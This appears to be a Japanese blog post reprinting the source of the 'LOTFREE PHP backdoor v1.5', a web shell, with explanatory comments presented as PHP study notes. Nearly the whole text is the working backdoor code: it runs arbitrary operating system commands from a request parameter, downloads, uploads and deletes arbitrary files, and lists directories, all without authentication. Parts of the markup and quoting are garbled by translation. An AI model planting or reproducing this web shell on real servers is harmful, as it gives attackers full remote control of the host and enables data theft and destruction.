PHP バックドア バージョン 1.5 は、sirius_black / LOTFREE TEAM によって書かれた PHP バックドア プログラムです。これは、PHP を学習するためのメモとしても使用できます。 Web サーバーのインストール 管理者であれば、PHP を使用するときにユーザーの権限があれば、さまざまなオペレーティング システム コマンドを実行できます。
以下はバックドアに関するメモです
- function good_link($link)
- {
- $link= ereg_replace (“/+”,”/”,$link);
- $link=ereg_replace(“/[^/(..)]+/..”,”/”,$link);
- $link = ereg_replace("/+","/",$link);
- if(!strncmp($link,"./",2) && strlen($link)>2)$link=substr($link , 2);
- if($link==”")$link=”.”;
- return $link;
- }
- //$_REQUESTは、このファイルに送信されたデータを取得するために使用されます
- $ dir= isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; // dir が定義されていない場合、dir はデフォルト値 "." を受け取ります
- $dir=good_link($dir );
- $rep=opendir($dir); // dir
- chdir($dir); で指定されたパスハンドルを開く // dir
- if(isset($_REQUEST["down "]) &&$_REQUEST ["down"]!="") //down が定義されている場合
- {
- header("Content-Type: application/octet-stream");
- header("Content-Length : ".filesize($ _REQUEST["down"]));
- header("Content-Disposition:attachment; filename=".basename($_REQUEST["down"]));
- readfile($_REQUEST[" down"]); / /ファイルをバッファに読み込みます
- exit();
- }
- ?>
- LOTFREE PHP バックドア v1.5, yeetrack.com
- echo "現在の絶対パスは: ".getcwd()。 "< /b>gt;
n"; //現在の絶対パスを取得します
- echo "dir = '$dir'
n";
- echo "カレントディレクトリ、ファイルリスト!
n”;
- //実行するコマンドを入力した場合
- if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd ']!=” ")
- {
- echo "
n";
- system($_REQUEST['cmd']); //入力したコマンドをサーバー上で実行すると、実行結果は以下のようになりますechoed
- echo " pre>n";
- }
- //ファイルがアップロードされている場合
- if(isset($_FILES["fic"]["name"]) && isset($_POST ["MAX_FILE_SIZE"])) // 投稿されたファイルを取得し、現在のディレクトリに保存します
- {
- if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) / /ファイルがサイズ指定を満たしているか判断します
- {
- if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"] ))) //一時ファイルを現在のディレクトリに保存します
- {
- echo "ファイルは正常に保存されました".good_link("./".$_FILES["fic"]["name"])."!< br>n";
- }
- else echo "ファイルのアップロードに失敗しました: ".$_FILES["fic"]["error"]."
n";
- }
- else echo "ファイルも大きい (ファイルがサイズ制限を超えています)!
n ";
- }
- if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!="") //rm の場合定義されている場合は、指定されたファイルを削除します
- {
- if (unlink($_REQUEST['rm'])) //unlinkはphp
- echoのファイル削除関数です "削除に成功しました ".$_REQUEST['rm']。 "!
n";
- else echo "ファイルの削除に失敗しました
n";
- }
- ?>
- $t_dir=array();
- $t_file=array();
- $i_dir= 0;
- $i_file=0;
- // 読み取り前にディレクトリファイルをループし、t_dir と t_file に配置します
- while($x=readdir($rep))
- {
- if(is_dir($) x)) // 現在処理中の場合
- $t_dir[$i_dir++]=$x;
- else // 現在処理中のファイルの場合
- $t_file[$i_file++]=$x;
- }
- closedir($rep); //opendir で閉じます
- while(1) //現在のパス内のディレクトリとファイルをループします
- {
- ?>
|
- if($x=each($t_dir))
- {
- $name =$x["value"]; // t_dir 配列内のディレクトリ名を取得します
- if($name=='.'){ }
- elseif($name=='..') echo " UP (親ディレクトリ)
n"; //UPリンクを表示し、親ディレクトリのファイルリストを読み込む
- else
- echo " ".$name."n";
- }
- ?>
|
| - //$_SERVER['PHP_SELF'] 現在のPHPスクリプトファイル名を取得します
- if( $y =each($t_file))
- {
- if($y["key"]%2==0) //現在の処理が key
- echo の場合 ” bgcolor='lightgreen'>n” ;
- else //現在の処理が値、つまりファイルの場合。ファイルが表示され、ダウンロード リンクが提供されます。
- echo “>n”;
- echo “ ".$y["value"]."n";
- }
- else echo ">n";
- ?>
| - if($y)
- {
- //ファイルの場合、ファイルを削除するには次のリンクを提供してください
- if($y [" key"]%2==0)echo ” bgcolor='lightgreen'";
- echo ">Del";
- }
- else echo ">n";
- ?>
- < ;/ td>
- if(!$x && !$y)
- break;
- }
- ?>
-
- ?dir=”>レヴニラウレパートリー< ;br> ;
- 実行commande(オペレーティング システム コマンドを実行)
- ファイルをサーバーの現在のディレクトリにアップロードします:
-
コードをコピー
|